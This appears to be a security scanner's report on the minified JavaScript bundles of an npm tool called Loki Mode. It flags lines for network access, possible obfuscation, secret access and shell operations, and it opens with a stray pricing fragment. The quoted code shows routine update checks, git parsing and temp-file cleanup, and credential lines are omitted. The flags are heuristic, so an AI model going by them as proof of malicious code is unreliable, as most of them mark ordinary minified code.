    "_source": "https://platform.claude.com/docs/en/about-claude/pricing (docs.anthropic.com/en/docs/about-claude/pricing 301-redirects there), read 2026-10-08. Per MTok. fable=Claude Fable 5.1 $10/$50, cache read $0.25 (0.025x), 5m write $12.5

loki-ts/data/requirements-verdict-schema.json

  • Network accessline 1
    {   "$schema": "http://json-schema.org/draft-07/schema#",
  • Network accessline 2
    "$schema": "http://json-schema.org/draft-07/schema#",
  • Network accessline 3
    "$id": "https://loki-mode.dev/schemas/requirements-verdict.json",

loki-ts/dist/cockpit.js

  • Executable scriptline 1
    Executable file
  • Network accessline 2
    var BJ=Object.defineProperty;var HJ=(J)=>J;function FJ(J,Q){this[J]=HJ.bind(null,Q)}var IJ=(J,Q)=>{for(var Z in Q)BJ(J,Z,{get:Q[Z],enumerable:!0,configurable:!0,set:FJ.bind(Q,Z)})};var SJ=(J,Q)=>()=>(J&&(Q=J(J=0)),Q);var H=import.meta.requi
  • Possible obfuscationline 2
    var BJ=Object.defineProperty;var HJ=(J)=>J;function FJ(J,Q){this[J]=HJ.bind(null,Q)}var IJ=(J,Q)=>{for(var Z in Q)BJ(J,Z,{get:Q[Z],enumerable:!0,configurable:!0,set:FJ.bind(Q,Z)})};var SJ=(J,Q)=>()=>(J&&(Q=J(J=0)),Q);var H=import.meta.requi
  • Possible obfuscationline 9
    <text x="${J}" y="${Q+24}" font-family="'JetBrains Mono','SF Mono',ui-monospace,monospace" font-size="20" font-weight="600" fill="${G}">${L($)}</text>`}var jJ=["Reason","Act","Reflect","Verify"];function OJ(J){let Q=(J||"").toLowerCase();if
  • Possible obfuscationline 12
    </svg>`}var f,u;function DJ(){if(f!==void 0)return f;try{let J=globalThis.require??H;J.resolve("@resvg/resvg-js"),f=J("@resvg/resvg-js")}catch{f=null}return f}async function NJ(){if(u!==void 0)return u;try{let J=await Promise.resolve().then

loki-ts/dist/loki.js

  • Executable scriptline 1
    Executable file
  • Network accessline 2
    var t98=Object.create;var{getPrototypeOf:e98,defineProperty:hH,getOwnPropertyNames:B20,getOwnPropertyDescriptor:$68}=Object,M20=Object.prototype.hasOwnProperty;function N20($){return this[$]}var Z68,J68,X68=($,Z,J)=>{var X=$!=null&&typeof $
  • Possible obfuscationline 2
    var t98=Object.create;var{getPrototypeOf:e98,defineProperty:hH,getOwnPropertyNames:B20,getOwnPropertyDescriptor:$68}=Object,M20=Object.prototype.hasOwnProperty;function N20($){return this[$]}var Z68,J68,X68=($,Z,J)=>{var X=$!=null&&typeof $
  • Network accessline 5
    Run \`which -a loki\` to see the order, then remove or re-point the earlier entry. `);return}let Y=await T68(Z.now,Z.fetcher,Z.cacheFile);if(Y===null)return;if(!gH(Y,$))return;J(`A newer Loki Mode is available: ${Y} (you have ${$}). Update:
  • Network accessline 6
    `);return}let Y=await T68(Z.now,Z.fetcher,Z.cacheFile);if(Y===null)return;if(!gH(Y,$))return;J(`A newer Loki Mode is available: ${Y} (you have ${$}). Update: ${w68(Z.installPath??process.argv[1]??"")} `)}catch{}}var M68="https://registry.np
  • Network accessline 7
    `)}catch{}}var M68="https://registry.npmjs.org/loki-mode/latest",N68=86400000,F68=1500,O68=900000;var lb=_(()=>{G8()});import{mkdtempSync as k68,rmSync as S68,statSync as y68,lstatSync as b68}from"fs";import{tmpdir as v68}from"os";import{jo
  • Possible obfuscationline 7
    `)}catch{}}var M68="https://registry.npmjs.org/loki-mode/latest",N68=86400000,F68=1500,O68=900000;var lb=_(()=>{G8()});import{mkdtempSync as k68,rmSync as S68,statSync as y68,lstatSync as b68}from"fs";import{tmpdir as v68}from"os";import{jo
  • Possible obfuscationline 8
    `)[0];if(e68.has(X[Q])&&W)Y.push(W)}return[...new Set(Y)]}function z48($){let Z=$??String(uH("git",["--version"],{encoding:"utf8",env:P1()}).stdout??""),J=/(\d+)\.(\d+)/.exec(Z);return!!J&&(Number(J[1])>2||Number(J[1])===2&&Number(J[2])>=44
  • Possible obfuscationline 9
    `),q=H<0?X[G+1]:X[G+1].slice(0,H),U=H<0?"":X[G+1].slice(H+1);if(q)Y.push({k:q,scope:X[G],value:U})}let Q=new Set(Y.filter((G)=>mH.has(G.scope)).map((G)=>G.k)),W=[],z=[],V=new Map,K=(G)=>/^credential(\..*)?\.helper$/.test(G);for(let G of Q){
  • Possible obfuscationline 10
    [Credential-related source omitted]
  • Access to secretsline 10
    [Credential-related source omitted]
  • Possible obfuscationline 13
    `;var U3=_(()=>{w6=["claude","opencode"],cZ=new Set(w6),$z=new Set(["codex","cline","aider","gemini"])});import{copyFileSync as p20,existsSync as rb,lstatSync as N48,mkdirSync as F48,readFileSync as O48,readdirSync as L48,readlinkSync as j4
  • Possible obfuscationline 14
    `).filter(Boolean).length;return{cwd:$,head:J,tracked:Q,gitConfig:Zv(N4(X,"config")),hooks:$v(X),backupDir:Y}}function I48($,Z){return Z>0&&$>=Math.min(5,Z)&&$*2>Z}function R48($,Z){try{let J=j48(Z),X=c20(J)?J:A48(C48(Z),J),Y=P48(m20($),rb(
  • Instruction override signalline 15
    `)+` `}var tb=($)=>$!=="claude",pH=($,Z)=>{try{return t($,Z).trim()}catch{return""}},eb=($)=>{return pH($,["rev-parse","--absolute-git-dir"])||N4($,".git")},$v=($)=>{try{return L48(N4($,"hooks")).filter((Z)=>!Z.endsWith(".sample")).sort()}c
  • Possible obfuscationline 16
    `}var tb=($)=>$!=="claude",pH=($,Z)=>{try{return t($,Z).trim()}catch{return""}},eb=($)=>{return pH($,["rev-parse","--absolute-git-dir"])||N4($,".git")},$v=($)=>{try{return L48(N4($,"hooks")).filter((Z)=>!Z.endsWith(".sample")).sort()}catch{
  • Instruction override signalline 16
    `}var tb=($)=>$!=="claude",pH=($,Z)=>{try{return t($,Z).trim()}catch{return""}},eb=($)=>{return pH($,["rev-parse","--absolute-git-dir"])||N4($,".git")},$v=($)=>{try{return L48(N4($,"hooks")).filter((Z)=>!Z.endsWith(".sample")).sort()}catch{
  • Possible obfuscationline 17
    [Credential-related source omitted]
  • Access to secretsline 17
    [Credential-related source omitted]
  • Possible obfuscationline 18
    [Credential-related source omitted]
  • Access to secretsline 18
    [Credential-related source omitted]
  • Possible obfuscationline 19
    [Credential-related source omitted]
  • Possible obfuscationline 61
    `)}return F$0(),2}}async function O$0($){let{run:Z}=await Promise.resolve().then(() => (F9(),H$0)),{resolve:J}=await import("path"),{REPO_ROOT:X}=await Promise.resolve().then(() => (G8(),ub)),Y=J(X,"autonomy","loki"),Q=await Z([Y,...$],{env
  • Possible obfuscationline 64
    `);for(let J=Z.length-1;J>=0;J--){let X=_$0.exec((Z[J]??"").trim());if(!X)continue;let Y={passed:0,failed:0,errors:0,skipped:0,other:0};for(let[,Q,W]of(X[1]??"").matchAll(/(\d+)\s+(passed|failed|errors?|skipped|xfailed|xpassed|deselected|wa
  • Possible obfuscationline 65
    ${Y.stderr??""}`,Y.status,W,Q)}}function x$0($,Z,J,X,Y){let Q=C$0(j2(Fv(),"loki-pyc-")),W=C$0(j2(Fv(),"loki-junit-")),z=j2(W,"junit.xml"),V;try{let K=Z;try{K=Nv(Z)}catch{}let G=w$0($,["-m","pytest","-p","no:cacheprovider","--rootdir",K,"--c
  • Possible obfuscationline 66
    `).filter((K)=>/^\S.*\.py::\S/.test(K)&&!K.startsWith("ERROR ")),V=/(\d+) tests? collected/.exec(W);if(!V||Number(V[1])!==z.length)return{ok:!1,reason:"collect-only count disagrees with its nodeid list"};return z.length===0?{ok:!1,reason:"c
  • Possible obfuscationline 159
    `,_$0,u78=($)=>$.replace(/&(lt|gt|quot|apos|amp|#x?[0-9a-fA-F]+);/g,(Z,J)=>J==="lt"?"<":J==="gt"?">":J==="quot"?'"':J==="apos"?"'":J==="amp"?"&":String.fromCodePoint(J[1]==="x"?parseInt(J.slice(2),16):parseInt(J.slice(1),10))),A$0;var e6=_(
  • Possible obfuscationline 161
    `),Z}catch(J){if(Z!==null){try{KY(Z)}catch{}try{AC($)}catch{}}if(J?.code==="EEXIST")return null;throw J}}function m$0($,Z){let J;try{J=y$0($)}catch{return!0}if(J.isSymbolicLink())try{return AC($),!0}catch{return!1}let X;try{X=rH($,"r")}catc
  • Possible obfuscationline 162
    `)}function Xz($){if($===void 0||$.trim()==="")return null;let Z=Number($);if(Number.isFinite(Z)&&Z>0)return Z;return Rv("LOKI_E10_CAP_S",$),null}function HY($,Z=IC){return $-Math.min(Z,$/30)}function R1($){switch($.cmd){case"push-pr":retur
  • Possible obfuscationline 164
    ${K[++H]}`;let M=U[1].replace(/["']/g,""),F=/(^|\.)(dependencies|dev-dependencies|optional-dependencies|dependency-groups|extras|packages|dev-packages)$/.test(G);if(F||/^(optional-)?dependencies$|^dev-dependencies$/.test(M)){if(B.trimStart(
  • Possible obfuscationline 167
    `;G++){let q=$[G];if(q==="\\")G++;else if(q==="[")H=!0;else if(q==="]")H=!1;else if(q==="/"&&!H)break}if(G<X&&$[G]==="/"){Y+="\x01",Q=G+1;continue}}}Y+=z,Q++}let W=[];for(let z of Y.matchAll(/\bfrom\s*\u0000(\d+)\u0000|\bimport\s*\u0000(\d+
  • Possible obfuscationline 168
    `).filter((O)=>wv(O)==="package.json"&&!O.split("/").includes("node_modules"));if(M.length>G28)return!1;let F=new Set,N=new Set;for(let O of M)try{let L=JSON.parse(W(["show",`${Z.baseSha}:${O}`])??"");if(typeof L.name==="string")F.add(L.nam
  • Possible obfuscationline 169
    `)){let Y=/^packages\s*:\s*(.*)$/.exec(X);if(Y){let W=Y[1].replace(/\s+#.*$/,"").trim();if(J=W===""||W.startsWith("#"),W.startsWith("["))Z.push(...W.slice(1,W.includes("]")?W.indexOf("]"):void 0).split(",").map((z)=>z.trim().replace(/^["']|
  • Possible obfuscationline 170
    `);if((X===".js"||X===".css")&&Z.length/Y.length>110)return!0;return w28.some(([Q,W,z])=>Q.test(J)&&W.test(Y.slice(0,z).join( `)))},_28,x28=($)=>$==="set"||$==="true"?!0:$==="unset"||$==="false"?!1:void 0,S28;var _C=_(()=>{b0();lZ();X30();C
  • Possible obfuscationline 171
    `)))},_28,x28=($)=>$==="set"||$==="true"?!0:$==="unset"||$==="false"?!1:void 0,S28;var _C=_(()=>{b0();lZ();X30();C28=wC.vendor.map(($)=>new RegExp($)),P28=wC.documentation.map(($)=>new RegExp($)),A28=new Set([...Jq.flatMap(($)=>$.locks),"go
  • Dangerous shell operationline 172
    ${h28(f28(x0,"scripts/vpr-pytest-boot",J),"utf8")}LOKI_VPR_PY`;return[`: ${xC}`,'B=$(mktemp -d "${TMPDIR:-/tmp}/loki-vpr.XXXXXX") || exit 125',`trap 'rm -rf "$B"' EXIT`,Z("loki_vpr_boot.py","loki_vpr_boot.py"),Z("loki_vpr_plugin.py","loki_v
  • Possible obfuscationline 172
    ${h28(f28(x0,"scripts/vpr-pytest-boot",J),"utf8")}LOKI_VPR_PY`;return[`: ${xC}`,'B=$(mktemp -d "${TMPDIR:-/tmp}/loki-vpr.XXXXXX") || exit 125',`trap 'rm -rf "$B"' EXIT`,Z("loki_vpr_boot.py","loki_vpr_boot.py"),Z("loki_vpr_plugin.py","loki_v
  • Network accessline 174
    `};var fv=_(()=>{G8()});import{existsSync as g28,readFileSync as m28}from"fs";import{join as u28}from"path";function P2($,Z={}){let J=[];for(let X of Z.yamlOnly?["loki.yaml"]:["loki.yaml","loki.yml"]){let Y=u28($,X);if(!g28(Y))continue;try{
  • Network accessline 175
    `).split(` `),Y=new RegExp(`^${kC(Z)}:[ \\t]*\\{(.*)\\}[ \\t]*(?:#.*)?$`);for(let K of X){let G=Y.exec(K);if(G)return c28(G[1],J)}let Q=new RegExp(`^${kC(Z)}:[ \\t]*(?:#.*)?$`),W=X.findIndex((K)=>Q.test(K));if(W<0)return null;let z=new RegE
  • Network accessline 176
    `),Y=new RegExp(`^${kC(Z)}:[ \\t]*\\{(.*)\\}[ \\t]*(?:#.*)?$`);for(let K of X){let G=Y.exec(K);if(G)return c28(G[1],J)}let Q=new RegExp(`^${kC(Z)}:[ \\t]*(?:#.*)?$`),W=X.findIndex((K)=>Q.test(K));if(W<0)return null;let z=new RegExp(`^${kC(J
  • Possible obfuscationline 176
    `),Y=new RegExp(`^${kC(Z)}:[ \\t]*\\{(.*)\\}[ \\t]*(?:#.*)?$`);for(let K of X){let G=Y.exec(K);if(G)return c28(G[1],J)}let Q=new RegExp(`^${kC(Z)}:[ \\t]*(?:#.*)?$`),W=X.findIndex((K)=>Q.test(K));if(W<0)return null;let z=new RegExp(`^${kC(J
  • Possible obfuscationline 177
    `)H++;Y(z,H),z=H;continue}if(K==='"'||K==="'"){let H=$.startsWith(K.repeat(3),z),q=H?K.repeat(3):K,U=z+q.length;while(U<Q&&!$.startsWith(q,U)){if($[U]==="\\")U++;else if(!H&&$[U]=== `)break;U++}Y(z+q.length,U),z=Math.min(Q,U+q.length);conti
  • Possible obfuscationline 180
    `&&!q&&Z!=="kt")break;H++}Y(z+1,H),z=H+1;continue}if(K==="'"&&Z==="rs"){let H=/^'(?:\\.[^']*|[^\\'])'/.exec($.slice(z,z+12));if(H){Y(z+1,z+H[0].length-1),z+=H[0].length;continue}}z++}return J.push($.slice(X)),J.join("")}function w$8($,Z,J,X
  • Possible obfuscationline 190
    `)+1,D=(h)=>{if(w(h))return!1;let d=E(h);if(I+d>T)return!1;for(let v=P.length-1;v>=0;v--){let p=P[v];if(p.path===h.path&&p.start>=h.start&&p.end<=h.end)I-=E(p),P.splice(v,1)}return P.push(h),I+=d,!0};for(let h of N)D(h);if(!P.length)return 
  • Possible obfuscationline 193
    ${z.get(h.path).slice(h.start-1,h.end).join( `)}`)].join( `);return{text:z0,files:f,spans:s.map(({path:h,start:d,end:v,symbol:p,via:Z0})=>({path:h,start:d,end:v,symbol:p,via:Z0})),tokens:H$8(z0),budget_tokens:Y}}function h$8($,Z,J){let X=$?
  • Possible obfuscationline 195
    `);return{text:z0,files:f,spans:s.map(({path:h,start:d,end:v,symbol:p,via:Z0})=>({path:h,start:d,end:v,symbol:p,via:Z0})),tokens:H$8(z0),budget_tokens:Y}}function h$8($,Z,J){let X=$?.brief_files;if(!Array.isArray(X))return null;let Y=new Se
  • Possible obfuscationline 197
    `);return 2000},v30=256000,f30=300,u$8,c$8,g30;var iZ=_(()=>{b0();_C();nZ();u$8=/\.(ts|tsx|js|jsx|mjs|cjs|py|java|kt|kts|cs|go|rs)$/,c$8=/^export\s+(?:default\s+)?(?:async\s+)?(?:function|class|const|let|interface|type|enum)\s+([A-Za-z0-9_$
  • Possible obfuscationline 198
    `).trim()});X={n:Number(z[1]),title:(z[2]??"").trim(),body:[]}}else if(X)X.body.push(W)}if(X)J.push({n:X.n,title:X.title,body:X.body.join( `).trim()});if(J.length>=2)return J.map((W)=>({...W,body:W.body||W.title||`Milestone ${W.n}`}));let Y
  • Possible obfuscationline 199
    `).trim()});if(J.length>=2)return J.map((W)=>({...W,body:W.body||W.title||`Milestone ${W.n}`}));let Y=[],Q=!1;for(let W of Z){if(!Q){Q=I38.test(W);continue}let z=Zh.exec(W);if(z){let V=z[1].trim();Y.push({n:Y.length+1,title:V,body:V});conti
  • Possible obfuscationline 201
    `)}function U10($,Z,J){if(Z===void 0||Z.trim()==="")return J;let X=Number(Z);if(Number.isFinite(X)&&X>0)return X;return _38($,Z,J),J}function Gh($=process.env.LOKI_E10_STALL_S){return U10("LOKI_E10_STALL_S",$,900)}function B10($=process.env
  • Network accessline 202
    `,{mode:384}),b38(W,384),v38(W,Y)}}catch{}return()=>{try{if(JSON.parse(Bh(Y,"utf8")).pid===J)h38(Y,{force:!0})}catch{}}}function YP($){try{let Z=JSON.parse(Bh(P10($),"utf8"));if(!Number.isInteger(Z.pid)||Z.pid<=1||typeof Z.start!=="string"|
  • Network accessline 203
    `)}catch{}}function _10($){try{let Z=Number(Bh(D10($),"utf8").trim());return Number.isFinite(Z)&&Z>0&&Z<=Math.min(Date.now()+60000,8640000000000000)?Z:null}catch{return null}}var P10=($)=>C10($,"run.pid"),Hq,I10=!1,R10,E10=()=>I10,D10=($)=>
  • Possible obfuscationline 203
    `)}catch{}}function _10($){try{let Z=Number(Bh(D10($),"utf8").trim());return Number.isFinite(Z)&&Z>0&&Z<=Math.min(Date.now()+60000,8640000000000000)?Z:null}catch{return null}}var P10=($)=>C10($,"run.pid"),Hq,I10=!1,R10,E10=()=>I10,D10=($)=>
  • Possible obfuscationline 204
    [Credential-related source omitted]
  • Network accessline 205
    [Credential-related source omitted]
  • Possible obfuscationline 205
    [Credential-related source omitted]
  • Access to secretsline 205
    [Credential-related source omitted]
  • Possible obfuscationline 206
    `):$;if(!Z)return!1;if(O18.test(Z))return!0;if(L18.test(Z))return!0;return!1}function YZ0($){if(!$)return 0;r10.lastIndex=0;let Z=0,J;while((J=r10.exec($))!==null){let X=J[1];if(X!==void 0){let Y=Number.parseInt(X,10);if(Number.isFinite(Y))
  • Possible obfuscationline 207
    `)){if(!X)continue;let Y=JSON.parse(X),Q=Y.usd;if(Y.seed===!0){if(J)continue;J=!0}if(typeof Q==="number"&&Number.isFinite(Q)&&Q>0)Z+=Q}return Z}catch{return null}}var Nq,s10="sonnet",O18,L18,r10,j18;var sZ=_(()=>{qq();L9();x1();G8();Bz();Nq
  • Possible obfuscationline 209
    `),!0}catch{return!1}}function VZ0($,Z,J,X=""){return async(...Y)=>{let Q;try{Q=await $(...Y)}catch(z){throw Lq(Z,LP(J,X,"ts-spawn")),z}let W=null;try{W=JSON.parse(Q.stdout)}catch{}return Lq(Z,w18(J,W,"ts-spawn")??LP(J,X,"ts-spawn")),Q}}fun
  • Possible obfuscationline 210
    `)}catch(H){if(H.code!=="ENOENT")X=!0}let Y=0,Q=0,W=0,z=0,V=X?1:0,K=!1,G=J.length-1;while(G>=0&&!J[G].trim())G--;for(let[H,q]of J.entries()){if(!q.trim())continue;let U;try{U=JSON.parse(q)}catch{if(_18(q,Z,K,H===G))V++;continue}if(!U||typeo
  • Possible obfuscationline 221
    `);V=`fallback (${(/sdk-loop error: ([^\]\n]*)/.exec(F)?.[1]??T1(M.exit,!1)).slice(0,120)})`,U=`${U}f`,B.push(U),M=await $.sessions.run({...Z,iterationId:U,brief:W})}return{session:M,mode:V,...K?{why:K}:{},ids:B,sessionId:s4($.repoDir,U),ca
  • Possible obfuscationline 222
    [Credential-related source omitted]
  • Access to secretsline 222
    [Credential-related source omitted]
  • Possible obfuscationline 234
    `));return{rest:Q,data:{intent_enabled:!0,intent_card:Y,...W?{intent_declined:!0}:{}}}}function rZ0($){let Z=$?.intent_card;return Array.isArray(Z)?Z.map((J)=>String(J).replace(/[\x00-\x1f\x7f`]+/g," ").trim()).filter((J)=>/^acceptance\b/i.
  • Possible obfuscationline 239
    ${$.clauses.map((Z)=>`Acceptance: ${GJ0(Z)}`).join( `)}`,"At every assertion block put a marker comment `clause: C3` (the clause id it proves) in the test language's own comment syntax, within a few lines of a real assertion. Every listed c
  • Possible obfuscationline 247
    `),X=(B,M)=>{throw new Gf(B,M,Z)};if((J[0]??"").trim()!==VJ0)X(1,"missing the loki-spec v1 marker comment on the first line");let Y={};J.forEach((B,M)=>{let F=B.trim();if(F===Tq||F===Iq||F===Lz){if(F in Y)X(M+1,`duplicate heading "${F}"`);Y
  • Possible obfuscationline 253
    `)}async function NJ0($){let Z=PZ8($.task),J=Aq($.repoDir,ZJ0,`${Z}.md`);if(LZ8(J)&&!$.force)throw Error(`spec exists: ${zJ0($.repoDir,J)} (edit it, delete it, or pass --force to regenerate)`);let X=Aq($.repoDir,".loki","runs",`spec-${Z}`);
  • Possible obfuscationline 254
    `).filter((J)=>J.trim());while(Z.length&&tZ8.test(Z[Z.length-1]))Z.pop();return Z}function tJ0($){let Z=rJ0($),J=eJ0(Z).map((z)=>z.body),X=(z)=>z.filter((V)=>/^[.iF]+(?:\s+\d+\/\d+)?$/.test(V.trim())).reduce((V,K)=>V+(K.match(/\./g)?.length
  • Possible obfuscationline 257
    `);if(!J.some((V)=>LJ0.test(V)))return;let X=new Map,Y=new Set,Q=new Set,W=Z!==!0&&J.some((V)=>/^FAIL\s+\S+\s+[\d.]+s\b/.test(V));for(let V of J){let K=V.match(/^=== RUN\s+(\S+)/),G=V.match(/^--- (PASS|FAIL|SKIP): (\S+)/);if(K)Y.add(K[1]);e
  • Possible obfuscationline 258
    `)z();else W();else if(";&|()`".includes(K)){if(K==="("&&X==="$")X="",Y=!1;z()}else X+=K,Y=!0}return z(),Z}function NJ8($,Z){if(new RegExp(`\\b${$}\\s+\\S`).test(Z)||new RegExp(`["'](?:[^"']*/)?${$}["']`).test(Z))return!0;return BJ8.test(Z)
  • Possible obfuscationline 259
    `)){if(!H.trim()||/^go: /.test(H))continue;let q;try{q=JSON.parse(H)}catch{return null}if(!q||typeof q!=="object"||typeof q.Action!=="string")return null;Z=!0;let U=typeof q.Package==="string"?q.Package:"",B=typeof q.Test==="string"?q.Test:
  • Possible obfuscationline 263
    `)){let W=/^\s*\[+\s*([^\[\]]*?)\s*\]+\s*$/.exec(Q);if(W){if(Y=W[1].replace(/["'\s]/g,""),Y===`env.${Z}`)return!0}else if(Y==="env"&&new RegExp(String.raw`^\s*${X}\s*[.=]`).test(Q))return!0}return!1}function _J8($){let Z=Az("rustflags"),J=(
  • Possible obfuscationline 264
    `){Z="",X=!0;continue}if(Z)continue;if(Q==="["||Q==="{"){if(J===0&&X)return!1;J++}else if(Q==="]"||Q==="}")J=Math.max(0,J-1);if(!/\s/.test(Q))X=!1}return!1}function SJ8($,Z,J){let X=(W)=>{try{let z=HX0(r5(W,"utf8"));if(/["']?cargo-features[
  • Possible obfuscationline 265
    `)){let L=/^(\d+) tests?, (\d+) benchmarks?$/.exec(O),C=/^(.+): (?:test|benchmark)$/.exec(O);if(L){let P=new Set(N);if(P.size!==N.length||P.size!==+L[1]+ +L[2])return null;F.push(P),N=[]}else if(C)N.push(C[1])}return F},H=await G([]),q=awai
  • Possible obfuscationline 266
    ${G.stderr??""}`};W=Q.next(H)}return W.value}function*BX0($,Z,J,X,Y,Q){let W={result:"not_run",reason:oJ0},V=uP(l8(Z))?.passedNames??[],K=(N,O)=>/[&|;$`"'<>()\\]/.test(N)&&!(X!==void 0&&Y[O-1]==="-run"&&/^\^\([A-Za-z0-9_|]+\)\$$/.test(N));i
  • Possible obfuscationline 267
    `)){let L=/^(.+:\d+\.\d+,\d+\.\d+ \d+) \d+$/.exec(O);if(L)N.add(L[1])}return N};try{let N=new Set(V.map((w)=>w.slice(0,w.indexOf("::")))),O=new Set,L=yield["go",["list","-json=ImportPath,Dir,GoFiles,CgoFiles",...B],M];if(L.status!==0)return
  • Possible obfuscationline 270
    `).map((z)=>z.trimEnd()),J=Z.filter((z)=>z.trim()).slice(-40),X=(z)=>{let V=J.map((K)=>z.exec(K)).filter(Boolean).pop();return V?V[1]==="SUCCESS"||V[1]==="SUCCESSFUL":null},Y=Z.filter((z)=>z.trim()).slice(-1)[0]?.match(/^LOKI_JAVA_TESTS: (\
  • Possible obfuscationline 272
    `)).digest("hex")}`:null}function Tf($,Z){if($.result!=="not_run"||$.n!==0||!/\bran 0 tests\b/.test($.reason??""))return!1;return!/skip|pending|todo/i.test(l8(Z).replace(/\b0 (?:skipped|pending|todo)\b|\b(?:skipped|pending|todo)\W{1,3}0\b/g
  • Possible obfuscationline 282
    `);return z}function CX0($){let Z=$.tier===$.computed?$.reasons.slice(0,2).join("; "):`computed ${$.computed}; override ${$.override?.from} to ${$.override?.to}: ${$.override?.reason}`,J=$.checks_deferred;return`risk: ${$.tier} (${Z}), ${J.
  • Possible obfuscationline 284
    `)){let Y=X.replace(/#.*/,"").trim().split(/\s+/)[0]??"";if(Y&&!/^(\/?\*{1,2}|\/)$/.test(Y))J.push({glob:Y,source:`CODEOWNERS ${Y}`})}try{let X=JSON.parse(Z??"null")?.critical_paths;if(Array.isArray(X)){for(let Y of X)if(typeof Y==="string"
  • Possible obfuscationline 287
    `)}catch{}for(let K of W){let G=V.get(K.path)??"";if(!G&&K.status==="added")try{G=r5(c0($,K.path),"utf8")}catch{}let H=qX8(K.path,G,z);if(H)K.critical=H}for(let K of W){if(K.status==="deleted"||!AX0.some(([G])=>G.test(K.path)))continue;try{
  • Possible obfuscationline 293
    `);return V=g8(V),gX0(V,J)}function Pz($,Z){if(/ModuleNotFoundError/.test($))return TX8($,Z);let J=(B)=>{try{return _q(U$(B)?B:c0(Z,B))}catch{return null}},X=J(Z),Y=(B)=>{let M=J(B);return!!X&&!!M&&(M===X||M.startsWith(`${X}/`))},Q=/ImportE
  • Possible obfuscationline 296
    `).pop()??""))return!0;let Z=[...$.matchAll(/^=+ short test summary info =+$/gm)].pop();return!!Z&&/^FAILED \S+/m.test($.slice(Z.index))}function RX8($,Z){let J=$==="bun"?/^\s*(\d+)\s+fail\s*$/m.exec(Z):$==="jest"?/Tests:\s*(\d+)\s+failed/i
  • Possible obfuscationline 297
    `)){if(!Y.trim()||/^go: /.test(Y))continue;let Q;try{Q=JSON.parse(Y)}catch{return!1}if(!Q||typeof Q!=="object"||typeof Q.Action!=="string")return!1;if(typeof Q.Test==="string"&&Q.Test)return!1;if(Q.Action==="build-fail"&&typeof Q.ImportPath
  • Possible obfuscationline 299
    ${Q}`})},H=cJ0($,Z,{cwd:J.cwd,env:J.env,detached:!0,stdio:["ignore","pipe","pipe"]}),q=DX8(H.pid),U=()=>{try{process.kill(-H.pid,"SIGTERM")}catch{H.kill("SIGTERM")}};K.push(setTimeout(()=>{W=!0,U(),K.push(setTimeout(()=>{v9(H.pid,"SIGKILL")
  • Possible obfuscationline 304
    (not rerun since the fix; it runs again once the checks above pass)`})}),{groups:z,names:W}}async function oX0($,Z,J,X){if(!(await $(["log","-1","--format=%B","HEAD"])).out.split( `).includes(`Loki-Wall-Publish: ${Z}`))return!1;let Y=new Ma
  • Possible obfuscationline 306
    Loki-Run: ${Z}`,"--",...Q])).code!==0)return!1;if(await z())return!0;return await $(["update-ref","HEAD",W]),await $(["read-tree","HEAD"]),!1}function _f($){for(let Z of $.replace(rX0," ").matchAll(tX0)){let J=Z[1];if(/\.[A-Za-z][A-Za-z0-9]
  • Possible obfuscationline 312
    Go: your test files are copied into ${k7($,Z)||"the repository root"}/, whose existing Go files declare "package ${W}". Start each file with "package ${W}"; any other package clause breaks that directory's build and the file is discarded.${
  • Dangerous shell operationline 319
    trap 'rm -rf -- "\${out:?}"' EXIT
  • Possible obfuscationline 328
    exit $st`,Cf=($,Z,J)=>C9(c0($,Z))?`./${Z}`:J,fJ8="n/a (exit-coded check, not a test runner)",gJ8,mJ8,Iz=($)=>$.result==="pass"&&typeof $.n==="number"&&$.n>0,IY=($)=>$.some(Iz),uJ8,cJ8,bP=($)=>$.replace(/^(?:\.\/)+/,""),FX0=($,Z)=>$.some((J)
  • Possible obfuscationline 330
    `),lJ8,iJ8,aJ8,_J0=($)=>{let Z=[],J=cP($);for(let Q of[dJ8,lJ8])for(let W of J.matchAll(Q))Z.push(W[1]);let X=pJ8.exec(J);if(X)Z.push(X[1]);let Y=iJ8.exec(J);if(Y)Z.push(Y[1]);return Z.filter((Q)=>!aJ8.has(Q))},jz=($)=>$.replace(e20,"?"),oJ
  • Possible obfuscationline 338
    c.on("error", () => done(null, 1)); c.on("close", done); c.on("exit", (a, b) => setTimeout(() => done(a, b), 500)); `,uJ0,iX0,EY="wall-failure-tail.txt",uq="already failing on base, not caused by this change",Df="skipped by the repo on base
  • Possible obfuscationline 353
    [Credential-related source omitted]
  • Access to secretsline 353
    [Credential-related source omitted]
  • Possible obfuscationline 354
    `);return{jwt:null,kid:null}}let X=s9(YA(J)),Y=`${dq(P9({alg:"EdDSA",typ:"JWT",kid:X}))}.${dq(P9({job_id:$,run_id:$,receipt_sha256:Z,iat:Math.floor(Date.now()/1000)}))}`;return{jwt:`${Y}.${dq(XY0(null,Buffer.from(Y),J))}`,kid:X}}function lX
  • Possible obfuscationline 355
    `)){let Y=X.indexOf("=");if(Y>0&&X.slice(0,Y)in $)$[X.slice(0,Y)]=/\d+(\.\d+)+\S*/.exec(X.slice(Y+1))?.[0]??null}}catch{}return $}function lq($){if($)return{bun:process.versions.bun??$("bun"),node:$("node"),python3:$("python3"),git:$("git")
  • Possible obfuscationline 383
    `);return H.verdict==="VERIFIED"?0:H.verdict==="TAMPERED"?1:2}function y1($,Z){if(Z)return s9(Z)===$?Z:void 0;let J=r9(!1),X=(process.env.LOKI_RECEIPT_RETIRED_PUBKEYS??"").split(":").map((Y)=>Y.trim()).filter(Boolean).flatMap((Y)=>{try{retu
  • Network accessline 387
    `)}for(let Q of J)Y.update(`dir:${Q} `);return Y.digest("hex")}function mf($,Z){try{return t($,["ls-files","--error-unmatch","--",Z],{timeout:1e4}).trim()!==""}catch{return!1}}function EY0($){if(typeof $!=="object"||$===null||Array.isArray(
  • Network accessline 388
    `);return Y.digest("hex")}function mf($,Z){try{return t($,["ls-files","--error-unmatch","--",Z],{timeout:1e4}).trim()!==""}catch{return!1}}function EY0($){if(typeof $!=="object"||$===null||Array.isArray($))return null;let{key:Z,expiresAt:J,
  • Possible obfuscationline 388
    `);return Y.digest("hex")}function mf($,Z){try{return t($,["ls-files","--error-unmatch","--",Z],{timeout:1e4}).trim()!==""}catch{return!1}}function EY0($){if(typeof $!=="object"||$===null||Array.isArray($))return null;let{key:Z,expiresAt:J,
  • Network accessline 389
    `)}function A9($){try{return t($,["config","--get","remote.origin.url"]).trim()||null}catch{return null}}function F$($){return $?.match(/^(?:https:\/\/(?:[^@/]+@)?github\.com\/|git@github\.com:|ssh:\/\/git@github\.com\/)([^/]+\/[^/]+?)(?:\.
  • Possible obfuscationline 389
